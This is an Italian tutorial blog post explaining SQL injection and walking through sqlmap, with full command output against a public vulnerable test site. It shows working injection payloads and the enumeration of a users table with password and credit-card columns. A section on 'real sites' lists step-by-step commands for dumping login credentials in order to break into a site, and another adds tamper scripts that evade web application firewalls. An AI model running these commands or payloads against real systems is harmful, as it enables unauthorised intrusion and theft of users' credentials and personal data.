Che cos’è SQLMap e come utilizzarlo

Autore: DAVIDE PALMIERI

SQL Injection

Apro questa guida spiegando cos’è una SQL Injection, la SQL Injection è una tecnica di hacking con l’obbiettivo di iniettare del codice sfruttando la vulnerabilità di una Web Application che utilizza un database di tipo SQL come ad esempio MySQL. Questa vulnerabilità è causata dalla mancanza di controlli sui dati ricevuti in input infatti i comandi SQL sono iniettati tramite query nel database di una Web Application con lo scopo di autenticarsi con i massimi privilegi senza avere alcuna credenziale e in più avendo la possibilità di alterare e visualizzare tutti i contenuti dei database.
Mentre in un gergo molto più tecnico l’SQL injection è una tecnica di code injection, usata per attaccare applicazioni data-driven, con la quale vengono inseriti degli statement SQL malevoli all’interno di campi di input in modo che vengano eseguiti. L’SQL injection sfrutta le vulnerabilità di sicurezza del software di un’applicazione, ad esempio, quando l’input dell’utente non è correttamente filtrato da ‘escape characters’ contenuti negli statement SQL oppure non è fortemente tipizzato e viene eseguito inaspettatamente. L’SQL injection è più conosciuto come attacco per i siti web, ma è anche usato per attaccare qualsiasi tipo di database SQL.

Per verificare se un sito è vulnerabile ad una SQL Injection ci sono vari modi tra cui:

  1. http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
  2. http://www.sitoweb.uk/target.php?id=1
  3. http://ilmiobelsito.gov.it/index.php?id=1

Nel caso il sito fosse vulnerabile vi uscirà una pagina di errore del database SQL.

Tecniche di SQL Injection

Esistono varie tecniche di SQL Injection ma io vi parlerò solo di quelle supportate da SQLMap che sono:

B: Boolean-based blind SQL injection
E: Error-based SQL injection
U: UNION query SQL injection
S: Stacked queries SQL injection
T: Time-based blind SQL injection

Il tool di default le esegue tutte e cinque ma nel caso volessimo utilizzarne solo una inseriremo l’opzione -technique

SQLMap

SQLMap
SQLMap è un utile e ottimo tool utilizzato in modo legale dai Pentester che lo utilizzano per la verifica e l’explotation delle vulnerabilità di tipo SQL Injection, mentre gli Hacker grey hat e black hat lo utilizzano soprattutto per guadagno.

Il progetto open source attivo dal 2006 è il migliore in circolazione rispetto agli altri tool che sfruttano le vulnerabilità di un database di tipo SQL, i suoi punti di forza sono il motore di rilevamento delle vulnerabilità, il completo supporto a MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase e SAP MaxDB, il supporto di ben 5 differenti tecniche di SQL injection (boolean-based blind, time-based blind, error-based, UNION query e stacked queries), senza considerare la possibilità di integrazione con altri progetti open source come ad esempio Metasploit.

Io utilizzerò SQLMap su Parrot Security OS, una buona distro Linux basata su Debian ma con una propria repository orientata verso il penetration testing e l’hacking.

Come utilizzare SQLMap

Adesso invece vi spiegherò meglio come utilizzare questo tool, ma per varie ragioni tratteremo solo delle funzioni più importanti ma intanto per farvi un’idea avviate il tool e digitate sqlmap –help per vedere tutte le sue potenzialità.

SQLMap

Tutti i test che effettueremo saranno sul sito http://testphp.vulnweb.com/ che ci permetterà di operare con tranquillità e in modo legale.

Navigando nel sito dovremo trovare la vulnerabilità, ma nel caso non l’aveste trovata è proprio qui

sqlmap vulnerabilità

Cambiando il campo “ID” è possibile navigare da una sezione all’altra. Per verificare la presenza della vulnerabilità per eseguire una SQL Injection, sostituiremo il valore numerico con un semplice (‘) ottenendo il famoso messaggio di errore di MySQL.

Per ottenere più informazioni dopo aver avviato il tool eseguiremo il comando: sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=1”
E il tool ci darà le seguenti informazioni:
[*] starting at: 23:44:09

[23:44:09] [INFO] using ‘/home/user/.sqlmap/output/testphp.vulnweb.com/session’ as session file
[23:44:09] [INFO] testing connection to the target url
[23:44:12] [INFO] testing if the url is stable, wait a few seconds
[23:44:14] [INFO] url is stable
[23:44:20] [INFO] testing if GET parameter ‘cat’ is dynamic
[23:44:25] [INFO] confirming that GET parameter ‘cat’ is dynamic
[12:44:25] [INFO] GET parameter ‘cat’ is dynamic
[23:44:26] [INFO] heuristic test shows that GET parameter ‘cat’ might be injectable (possible DBMS: MySQL)
[23:44:26] [INFO] testing sql injection on GET parameter ‘cat’
[23:44:26] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
[23:44:26] [INFO] GET parameter ‘cat’ is ‘AND boolean-based blind – WHERE or HAVING clause’ injectable
[23:44:26] [INFO] testing ‘MySQL >= 5.0 AND error-based – WHERE or HAVING clause’
[23:44:27] [INFO] GET parameter ‘cat’ is ‘MySQL >= 5.0 AND error-based – WHERE or HAVING clause’ injectable
[23:44:27] [INFO] testing ‘MySQL > 5.0.11 stacked queries’
[23:44:27] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind’
[23:45:21] [INFO] GET parameter ‘cat’ is ‘MySQL > 5.0.11 AND time-based blind’ injectable
[23:45:23] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 10 columns’
[23:45:28] [INFO] testing ‘Generic UNION query (NULL) – 1 to 10 columns’
GET parameter ‘cat’ is vulnerable. Do you want to keep testing the others? [y/N] n

sqlmap identified the following injection points with a total of 29 HTTP(s) requests:

Place: GET
Parameter: cat
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 7178=7178

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: cat=1 AND (SELECT 8176 FROM(SELECT COUNT(),CONCAT(CHAR(58,108,109,97,58),(SELECT (CASE WHEN (8176=8176) THEN 1 ELSE 0 END)),CHAR(58,115,114,114,58),FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind

Payload: cat=1 AND SLEEP(5)

[23:46:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5.0
[23:46:00] [INFO] Fetched data logged to text files under ‘/home/user/.sqlmap/output/testphp.vulnweb.com’

Adesso vedremo come riuscire ad arrivare al contenuto del database.

sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=1” -o –threads 10 –dbms Mysql –dbs
-o con questa opzione diremo al programma che vogliamo utilizzare connessioni HTTP Persistenti, con –threads imposteremo il numero che vogliamo utilizzare, con –dbms solo se conosciamo già il tipo di database e infine –dbs per specificare che vogliamo trovare tutti i database.

[23:48:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5.0
[23:48:32] [INFO] fetching database names
[23:48:32] [INFO] the SQL query used returns 3 entries
[23:48:32] [INFO] retrieved: information_schema
[23:48:33] [INFO] retrieved: acuart
[23:48:33] [INFO] retrieved: modrewriteShop
available databases [3]:
[] acuart
[
] information_schema
[*] modrewriteShop

[23:48:33] [INFO] Fetched data logged to text files under ‘/home/user/.sqlmap/output/testphp.vulnweb.com’

[*] shutting down at: 23:48:33

Per enumerare le tabelle del database ACUART basterà aggiungere al vecchio comando -D acuart –tables
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=1” -o –threads 10 –dbms Mysql -D acuart –tables

[23:48:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5.0
[23:48:46] [INFO] fetching tables for database ‘acuart’
[23:48:46] [INFO] the SQL query used returns 7 entries
[23:48:46] [INFO] retrieved: acuart
[12:48:46] [INFO] retrieved: artists
[23:48:46] [INFO] retrieved: acuart
[23:48:47] [INFO] retrieved: carts
[23:48:47] [INFO] retrieved: acuart
[23:48:47] [INFO] retrieved: categ
[23:48:47] [INFO] retrieved: acuart
[23:48:47] [INFO] retrieved: featured
[23:48:47] [INFO] retrieved: acuart
[23:48:48] [INFO] retrieved: guestbook
[23:48:48] [INFO] retrieved: acuart
[23:48:48] [INFO] retrieved: pictures
[23:48:48] [INFO] retrieved: acuart
[23:48:48] [INFO] retrieved: users
Database: acuart
[7 tables]
+———–+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| users |
+———–+

[23:48:48] [INFO] Fetched data logged to text files under ‘/home/user/.sqlmap/output/testphp.vulnweb.com’

Adesso è possibile ottenere la lista delle colonne aggiungendo al vecchio comando –columns però dovrete anche aggiungere -T users.

[23:49:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5.0
[23:49:27] [INFO] fetching columns for table ‘users’ on database ‘acuart’
[23:49:27] [INFO] the SQL query used returns 8 entries
[23:49:27] [INFO] retrieved: uname
[23:49:27] [INFO] retrieved: varchar(100)
[23:49:28] [INFO] retrieved: pass
[23:49:28] [INFO] retrieved: varchar(100)
[23:49:28] [INFO] retrieved: cc
[23:49:28] [INFO] retrieved: varchar(100)
[23:49:28] [INFO] retrieved: address
[23:49:29] [INFO] retrieved: mediumtext
[23:49:29] [INFO] retrieved: email
[23:49:29] [INFO] retrieved: varchar(100)
[23:49:29] [INFO] retrieved: name
[23:49:29] [INFO] retrieved: varchar(100)
[23:49:29] [INFO] retrieved: phone
[23:49:29] [INFO] retrieved: varchar(100)
[23:49:29] [INFO] retrieved: cart
[23:49:30] [INFO] retrieved: varchar(100)
Database: acuart
Table: users
[8 columns]
+———+————–+
| Column | Type |
+———+————–+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+———+————–+

[23:49:30] [INFO] Fetched data logged to text files under ‘/home/user/.sqlmap/output/testphp.vulnweb.com’

Infine otterremo il contenuto del database aggiungendo –dump –start 1 –stop 3

Prova su un sito reale

Se purtroppo solo adesso vi sarete accorti che trovare una vulnerabilità del database SQL su un sito reale che potrebbe anche essere il vostro sito non è facile come trovarla su un sito creato appositamente NO PROBLEM, vi riscriverò i passaggi fondamentali in modo da schiarirvi meglio le idee.

      1. sqlmap -u www.ilsitoweb.eu/index.php?id=77
      2. sqlmap -u www.ilsitoweb.eu/index.php?id=77 -D -information schema –tables
      3. sqlmap -u www.ilsitoweb.eu/index.php?id=77 -D -information schema -T USER_PRIVILEGES –columns
      4. sqlmap -u www.ilsitoweb.eu/index.php?id=77 –dbs
      5. sqlmap -u www.ilsitoweb.eu/index.php?id=77 -D nome del database –tables
      6. sqlmap -u www.ilsitoweb.eu/index.php?id=77 -D nome del database -T users –columns
      7. sqlmap -u www.ilsitoweb.eu/index.php?id=77 -D nome del database -T users -C u_login –dump
      8. sqlmap -u www.ilsitoweb.eu/index.php?id=77 -D nome del database -T users -C u_password –dump

Inserendo questi comandi troveremo le credenziali per il login oltre ovviamente alla password in modo poi da poter fare irruzione nel sito.

SQLMap Test

 

Se ovviamente le prime volte con altri siti non troverete la vulnerabilità potete stare tranquilli che questo tool, il migliore nella sua categoria funziona! Nell’immagine qui sopra era durante un test che ho fatto al sito di un mio amico.

Tampering

SQLMap purtroppo non utilizza di default un offuscamento del payload che inviamo e questo comporterebbe l’essere facilmente individuati dai firewall delle Web Application (IPS), ma è possibile offuscarlo grazie ad alcune tecniche implementate in SQLMap tramite degli scripts.

Ci basterà aggiungere al comando ad esempio sqlmap -u http://www.ilsito.eu/index.php?id=1 –-tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

 

Autore: DAVIDE PALMIERI